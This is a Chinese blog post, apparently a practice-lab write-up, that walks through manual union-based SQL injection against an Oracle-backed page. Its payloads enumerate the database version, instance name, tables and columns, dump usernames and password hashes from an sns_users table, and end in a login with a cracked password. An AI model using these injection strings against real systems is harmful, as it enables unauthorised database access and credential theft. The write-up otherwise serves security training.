Oracle靶场手工注入

1.判断注入点

这⾥通过and 1=1 和and 1=2进⾏判断。

and 1=2时报错 说明存在sql注入

2.判断字段数

id=1 order by 2 当字段数=2时 页面显示正常

id=1 order by 3 当字段数=3时 页面不正常 说明只存在两个字段

3.寻找回显点

因为oracle数据库与mysql数据库不同点在于它对 于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取回显点。这里使用union selec t ‘null’,‘null’查询

id=-1 union select 'null','null' from dual  可以在页面看到回显点

4.查询数据库版本信息

id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual

可以看到数据库的版本信息

5.查询数据库名

id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual

6.查询数据库表名,查询表名⼀般查询admin或者user表

查询第一张表 表名为LOGMNR_SESSION_EVOLVE$

id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual

查询第二张表  表名为LOGMNR_GLOBAL$

id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

7.查询字段名信息

id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

可以查到第一个字段名是USER_NAME

8.查询用户名和密码信息

查到第一个用户和密码信息 但不是我们想要的数据

id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

查第二个用户信息  也不是我们想要的信息

id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

查看第三个用户信息 是我们需要的信息

id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME <> 'hu'

9.对密码部分进行解密

使用在线解密网站对密码进行解密

可以看到解密后密码为435927

10.使用获取的信息进行登录

用户名mozhe  密码 435927

  • 16
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值